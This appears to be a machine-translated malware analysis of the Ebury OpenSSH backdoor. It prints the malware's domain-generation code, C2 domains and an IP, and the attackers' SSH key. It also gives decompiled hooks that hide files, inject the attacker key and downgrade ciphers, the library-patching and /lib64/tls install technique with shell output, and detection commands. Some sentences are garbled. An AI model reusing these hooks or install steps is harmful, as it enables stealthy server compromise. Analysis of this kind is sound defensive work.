def DGA(domain_no): TLDS = [ 'info', 'net', 'biz' ] KEY = "fmqzdnvcyelwaibsrxtpkhjguo" h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF) g = "" for i in range(len(h))[::-1]: g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)] g += h[i] g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)] g += '.%s' % TLDS[domain_no % len(TLDS)] return g
@@ -1,10 +1,10 @@ def DGA(domain_no): KEY = "fmqzdnvcyelwaibsrxtpkhjguo" - h = "%x" % ((domain_no * domain_no + 4091073) & 0xFFFFFFFF) + h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF) g = "" for i in range(len(h))[::-1]: - g += KEY[((ords(h[i]) * 4906) + (ords(h[-1]) + i + domain_no)) % len(KEY)] + g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)] g += h[i] - g += KEY[((ords(h[-1]) * 6816) + (len(h) + domain_no - 1)) % len(KEY)] + g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)] g += '.%s' % TLDS[domain_no % len(TLDS)] return g
larfj7g1vaz3y.net
idkff7m1lac3g.biz
u2s0k8d1ial3r.info
h9g0q8a1hat3s.net
f2y1j8v1saa3t.biz
xdc1h8n1baw3m.info
raj2p8z1aae3b.net
o9f3v8r1oaj3p.biz
tav4h8n1baw3r.info
hdm5o8e1tas3n.net
-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAOadSGBGG9x/f1/U6KdwxfGzqSj5Bcy4aZpKv77uN4xYdS5HWmEub5Rj
nAvtKybupWb3AUWwN7UPIO+2R+v6hrF+Gh2apcs9I9G7VEBiToi2B6BiZ3Ly68kj
1ojemjtrG+g//Ckw/osESWweSWY4nJFKa5QJzT39ErUZim2FPDmvAgMBAAE=
-----END RSA PUBLIC KEY-----
larfj7g1vaz3y.net. 1737 IN A 78.140.134.7
larfj7g1vaz3y.net. 285 IN TXT "ItTFyJ6tegXn9HkHa+XZX1+fZw0IsfhXl05phu1F7ZXDP4HtKMvrXW8NbUSjY8vkQgDdKsSaSCyrvfkhHodhVQLhIKJJY64HeoInb3m4SCNZNOhx9qjYRnuR0Ci7BHNWakJC/QdoQ4UNKkOrvvb42kN7TU6jqZCYBtusXd37tNg="
larfj7g1vaz3y[.]net:3328801113:1504126800
readdir
or readdir64
, each of which is used to compile a list of directory entries. If the next directory structure returned is an Ebury shared library file, then the trap skips it and returns the following entry instead.
struct dirent *__fastcall readdir(__int64 a1)
{
struct dirent *dir_entry; // rax
struct dirent *dir_entry_1; // rbx
__ino_t inode; // rax
do
{
if ( !readdir_0 )
readdir_0 = F_resolve_func("readdir");
dir_entry = readdir_0(a1);
dir_entry_1 = dir_entry;
if ( !exports_hook_activated )
break;
if ( !dir_entry )
break;
if ( !ebury_inode )
break;
inode = dir_entry->d_ino;
if ( inode != ebury_inode && inode != ebury_lstat_inode )
break;
}
while ( ebury_filename && !strncmp(dir_entry_1->d_name, ebury_filename,
ebury_filename_len_before_extension) );
return dir_entry_1;
}
sshd
descendant process. To embed itself in subprocesses, Ebury intercepts execve
and uses the linker dynamic variable LD_PRELOAD
. Each time a new process is created, Ebury adds LD_PRELOAD=<Ebury_filename>
to its environment.
parse_server_config
or process_server_config_line
. If the attempt fails, it lowers the security properties by turning off the SELinux Role-Based Access Control and turning off the PAM modules. When one of the functions has been successfully processed, Ebury uses it during the sshd
configuration change when using the backdoor.
PrintLastLog no
PrintMotd no
PasswordAuthentication no
PermitRootLogin yes
UseLogin no
UsePAM no
UseDNS no
ChallengeResponseAuthentication no
LogLevel QUIET
StrictModes no
PubkeyAuthentication yes
AllowUsers n
AllowGroups n
DenyUsers n
DenyGroups n
AuthorizedKeysFile /proc/self/environ
Banner /dev/null
PermitTunnel yes
AllowTcpForwarding yes
PermitOpen any
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESH
CvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd3BD+ADXDurAlDG
bh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00
H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC/9rqoAdv7Gbc5Y7W8xrNIjOIuxDx
Bx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq6
3E/xqI4tMEQl9BmW1Df5+LjbVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub
AuthorizedKeysFile
option to point to /proc/self/environ
. It intercepts open
or open64
and checks whether there is an attempt to open /proc/self/environ
or paths containing .ssh/authorized_keys
. The second check can be used as a backup if Ebury cannot parse_server_config
and process_server_config_line
to force the transfer of its configuration. Ebury also hooks fgets
, which sshd
calls to read the contents of the authorized_keys file. The global variable is used to ensure that fgets
is called after opening the authorized_keys file. Then the trap fills the fgets
buffer with the public key of Ebury statements, so the attackers key is used for authentication.
char *__fastcall fgets_hook(char *s, __int64 size, FILE *stream)
{
int fd_env; // ebp
char *result; // rax
if ( !(backdoor_command & 1) )
return fgets_0(s);
fd_env = fd_proc_self_environ;
if ( fd_proc_self_environ <= 0 || fd_env != fileno(stream) )
return fgets_0(s);
strcpy(
s,
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESHCvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd" "3BD+ADXDurAlDGbh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC" "/9rqoAdv7Gbc5Y7W8xrNIjOIuxDxBx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq63E/xqI4tMEQl9BmW1Df5+Lj"
"bVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub\n");
result = s;
fd_proc_self_environ = 0;
return result;
}
memcpy
) has not yet been established.
char *__fastcall memcpy_hook(char *dst, const char *src, size_t len)
{
size_t len_1; // r12
char *result; // rax
len_1 = len;
memcpy_orig(dst, src, len);
if ( len_1 > 0x1F && !strncmp(src, "chacha20-poly1305@openssh.com,", 0x1EuLL) )
result = memcpy_orig(dst, src + 30, len_1 - 30);
else
result = dst;
return result;
}
libkeyutils.so
. The file contained both the legitimate functions of libkeyutils, and the malicious code Ebury, run at boot. In the case of an infection, the file size was larger than usual - we pointed this out as a sign of compromise back in 2014.
libkeyutils.so
, but otherwise.
libkeyutils.so
loaded by the OpenSSH client and OpenSSH server executables, it remains an interesting target for attackers. Earlier, we noticed that Ebury was installed by changing the symbolic link libkeyutils.so.1
to indicate the malicious version of the library. The modified library has a constructor where the initialization code Ebury is stored. Each time libkeyutils.so
is loaded, a libkeyutils.so
is called. Thus, each time the OpenSSH client or server starts, Ebury is injected into the process.
libkeyutils.so
patch, to get it to load Ebury, stored in a separate .so
file. Comparing the original and patched versions, we found that in the .dynamic
section of the ELF file header there is an additional entry. The entry has the type NEEDED (0x01), which means the dependence of the executable file and that it is loaded in the process. In the deployment script that we studied, the loadable library is called libsbr.so
and contains the malicious code Ebury.
--- ./libkeyutils.so.1-5 2017-10-13 21:19:24.269521814 -0400
+++ ./libkeyutils.so.1-5.patched 2017-10-13 21:19:17.405092274 -0400
@@ -1,5 +1,5 @@
-Dynamic section at offset 0x2cf8 contains 26 entries:
+Dynamic section at offset 0x2cf8 contains 27 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x000000000000000e (SONAME) Library soname: [libkeyutils.so.1]
@@ -26,4 +26,5 @@
0x000000006fffffff (VERNEEDNUM) 1
0x000000006ffffff0 (VERSYM) 0xdf0
0x000000006ffffff9 (RELACOUNT) 3
+ 0x0000000000000001 (NEEDED) Shared library: [libsbr.so]
0x0000000000000000 (NULL) 0x0
libsbr.so
” must be placed in the string table of a binary file. Secondly, a new entry of type 0x1 (DT_NEEDED) needs to be added to the dynamic section of the ELF file headers. Ebury authors replaced the string " __bss_start
" with " _\x00libsbr.so
". Since __bss_start
not used by the dynamic linker, changing this symbol does not affect the execution of the library. The figure below shows the differences between the original and modified row tables libkeyutils.so
.
libsbr.so
is stored in the string table, you need to add a new entry to the .dynamic
section. Figure 2 shows the differences between the original and patched libkeyutils.so sections .dynamic.
.dynamic
section contains an Elf64_Dyn array for the amd64 binary files and Elf64_Dyn for the i386. The definitions of these structures are presented below.
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
typedef struct {
Elf64_Sxword d_tag;
union {
Elf64_Xword d_val;
Elf64_Addr d_ptr;
} d_un;
} Elf64_Dyn;
libkeyutils.so
. Thus, new entries in the .dynamic section can be written as follows.
Elf64_Dyn dyn;
dyn.d_tag = DT_NEEDED;
dyn.d_val = 0x38F;
libkeyutils1
package. Check the system for infection using a simple check the integrity of the package, it is impossible. This command will not show the presence of errors.
$ dpkg --verify libkeyutils1
libkeyutils.so.1
to force the loading of an additional library. In addition, we noticed a new technique used to introduce Ebury into systems under CentOS / RedHat. We do not yet know all the details of the installation process, but viewing some of the online reports has made some assumptions about how the implementation takes place.
libkeyutils
file, in a manner similar to Debian. We also observed another installation method, which is supposedly the implementation method in version 1.6. As in previous versions of Ebury, the operators created their own version of libkeyutils.so
, to which they added a constructor containing malicious code. Instead of changing libkeyutils.so.1
from /lib/
or /lib64/
they place their files in the /lib{,64}/tls/
, as the dynamic linker starts processing dependencies from this directory.
/lib/tls/
or /lib64/tls/
, depending on the architecture of the victim’s system. Then launching ldconfig
automatically creates a symbolic link / /lib{,64}/tls/libkeyutils.so.1
, /lib{,64}/tls/libkeyutils.so.1
, indicating a malicious shared object.
[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007ff67774f000)
[root@c2093ca76055 lib64]# cp libkeyutils.so.1.5 /lib64/tls/
[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f44ac6ba000)
[root@c2093ca76055 lib64]# ldconfig
[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/tls/libkeyutils.so.1 (0x00007fc12db23000)
[root@c2093ca76055 lib64]# ls -al /lib64/tls
total 24
dr-xr-xr-x 1 root root 4096 Oct 18 14:34 .
dr-xr-xr-x 1 root root 4096 Oct 18 13:25 ..
lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5
libkeyutils
object if something goes wrong during the deployment. Simply delete the malicious file libkeyutils.so
in the folder /lib{,64}/tls/
and then run ldconfig
again so that the system returns to its original state.
[root@c2093ca76055 tls]# pwd
/lib64/tls
[root@c2093ca76055 tls]# ls -l
total 16
lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5
[root@c2093ca76055 tls]# rm libkeyutils.so.1.5
[root@c2093ca76055 tls]# ldconfig
[root@c2093ca76055 tls]# ls -l
total 0
[root@c2093ca76055 tls]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f7b89349000)
[root@c2093ca76055 tls]# ls -l /lib64/libkeyutils.so.1
lrwxrwxrwx 1 root root 18 Oct 18 13:25 /lib64/libkeyutils.so.1 -> libkeyutils.so.1.5
tls
used in conjunction with the Linux boot loader function. Due to this, if the CPU supports an additional set of commands, the command located in this directory receives a higher priority than the “normal” one.
/tmp/dbus-
". A real dbus
can create a socket in a similar way. However, Ebury does this through non-legitimate dbus
processes. If the result of the following command is a socket, it is suspicious:
$ lsof -U | grep -F @/tmp/dbus- | grep -v ^dbus
libkeyutils.so*
in /lib/tls/
or /lib64/tls/
.
objdump -x libkeyutils.so.1
(or readelf -d libkeyutils.so.1
) displays the dynamic section of the ELF file header. Anything with a NEEDED tag (type 1) besides libc or libdl looks suspicious.
$ objdump -x /lib64/libkeyutils.so.1 | grep NEEDED | grep -v -F -e libdl.so -e libc.so
LD_PRELOAD
dynamic linker system variable, so we can use another system variable to detect the dynamic linker process. If libkeyutils
loaded into any process where it should not be, most likely the system is infected with the Ebury version with the rootkit turned on. If the following command returns a result, it is also suspicious:
$ LD_DEBUG=symbols /bin/true 2>&1| grep libkeyutils
Source: https://habr.com/ru/post/342392/